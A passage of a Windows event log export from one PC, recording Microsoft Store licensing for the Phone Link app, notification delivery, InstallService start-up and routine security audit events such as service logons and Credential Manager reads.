0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:29:24.506\t505\t\"Compatibility fix applied to C:\\Program Files\\WindowsApps\\Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\\YourPhoneAppProxyHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:29:24.556\t2002\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:24.558\t2002\t\"Windows::Services::Store::StoreContextFactory::GetDefault() invoked. (CV:exbuXxFHwECWL3f3.2)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContextFactory::GetDefault\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp (63)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:24.570\t8001\t\"Licensing package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8001\t\"Licensing EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8001\t\"0000021F83178E70: Key Machine for content: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8011\t0x21f83133e68: 13668: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8011\t0x21f83178e90: 13668: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8001\t\"0000021F83178E70: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.570\t8012\t0x21f83178e90: 13668: Key:Initial Change: Key:NegotiatingUnleased => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.572\t8001\t\"Considering License ID {0F8E2CD5-B8EB-7A22-B9E9-9B1183FA0A84} for content ID EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.572\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.572\t8001\t\"Accepting key with License ID {0F8E2CD5-B8EB-7A22-B9E9-9B1183FA0A84} for Content ID EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.572\t8001\t\"Returning key document for contentid EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.572\t8001\t\"Getting lease for EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.575\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.575\t8001\t\"Adding lease {A900C622-99E6-0D09-3F2B-FC30E2F4563B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.575\t8001\t\"Returning 1 lease documents for contentid EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.576\t8001\t\"lease = 0x83178128, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.576\t8001\t\"lease = 0x83178128, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.576\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.576\t8011\t0x21f83178e90: 13732: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"lease = 0x83178128, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"Lease Machine: 0000021F8312AA00: {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"Set results for lease = 0x83178128, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8011\t0x21f8312aa20: 13668: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x83178128\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8012\t0x21f83178e90: 13732: Key:NegotiatingUnleased Change: Key:Valid => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8012\t0x21f8312aa20: 13668: Lease:Initial Change: Lease:Valid => {7BA318A1-DC47-F731-723C-537E883DC563}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8011\t0x21f83178e90: 13732: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.580\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.581\t8001\t\"Updating lease timer for {7BA318A1-DC47-F731-723C-537E883DC563} to expire @ 2026-09-05T02:04:00Z (jitter was 34.593315 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.581\t8001\t\"Added timer for {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.581\t8011\t0x21f8312aa20: 13668: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.582\t2002\t\"StoreContextServer::Initialize: packageFullName = Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe, productStoreId = 9NMPJ99VJBWV, isLicensed = true, isAppContainer = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::Internal::StoreContextServer::_InitializeImpl\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\windows\\storecontextserver.cpp (1159)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:24.583\t2002\t\"Windows::Services::Store::StoreContext::GetAppAndOptionalStorePackageUpdatesAsync invoked. (CV:exbuXxFHwECWL3f3.2.3)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContext::GetAppAndOptionalStorePackageUpdatesAsync\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp (1403)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:24.586\t2002\t\"Adding calling package = Microsoft.YourPhone_8wekyb3d8bbwe for productId = 9NMPJ99VJBWV\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::Internal::StoreContextServer::GetAppAndOptionalStorePackageUpdates\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\windows\\storecontextserver.cpp (3491)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:24.610\t2000\t\"Process Name: C:\\Program Files\\WindowsApps\\Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\\PhoneExperienceHost.exe\nModule Name: C:\\Windows\\System32\\InstallService.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.610\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.667\t8001\t\"Skipping license manager: PFN Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.718\t210\tCreated Desktop AppX container {245CDB9B-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:24.719\t211\tAdded process 15396 to Desktop AppX container 245cdb9b-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:24.778\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.835\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.838\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.838\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.859\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.861\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.861\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.863\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.865\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:24.867\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:24.868\t2000\t\"Process Name: C:\\WINDOWS\\System32\\svchost.exe\nModule Name: c:\\windows\\system32\\installservice.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.869\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.869\t2005\t\"Initializing InstallService for shared\nError: Unknown HResult Error code: 0xefffffff\nFunction: ServiceMain\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\svcmain.cpp (207)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.874\t2005\t\"Initializing InstallService\nError: Unknown HResult Error code: 0xefffffff\nFunction: InstallService::ServiceStarted\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\svcmain.cpp (52)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.875\t2006\t\"[Telemetry]: StateTransition :: ProductId = (null) \u00a0PFN = (null) \u00a0CatalogId = (null) \u00a0FulfillmentPluginId = (null) \u00a0PluginTelemetryData = (null) \u00a0PrevState = ServiceStateChange \u00a0NewState = ServiceStateChange \u00a0PluginLastStage = 1 \u00a0HResult = 0 \u00a0__TlgCV__ = (null) \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.877\t2006\t\"Checking if User sessions are ready\nError: The operation completed successfully.\nFunction: InstallQueue2::_WaitForUserSessions\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5426)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.881\t2006\t\"Loaded listener for progress events. Listener = CuratedTileCollections.StoreEventListener \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_LoadRegistryHandlers\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5542)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.881\t2416\tA local notification was received from Microsoft.YourPhone_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.881\t2416\tA local notification was received from Microsoft.YourPhone_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.882\t2006\t\"Loaded listener for progress events. Listener = EnterpriseModernAppManagement.EAMProgressHandler \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_LoadRegistryHandlers\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5542)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.884\t2418\tA local notification was submitted to threadpool: Microsoft.YourPhone_8wekyb3d8bbwe!App [AppUserModelId] badge [NotificationType] 9394 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.884\t2418\tA local notification was submitted to threadpool: Microsoft.YourPhone_8wekyb3d8bbwe!App [AppUserModelId] badge [NotificationType] 9395 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.889\t3053\tbadge with notification tracking id 9394 is being delivered to Microsoft.YourPhone_8wekyb3d8bbwe!App.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.889\t3053\tbadge with notification tracking id 9395 is being delivered to 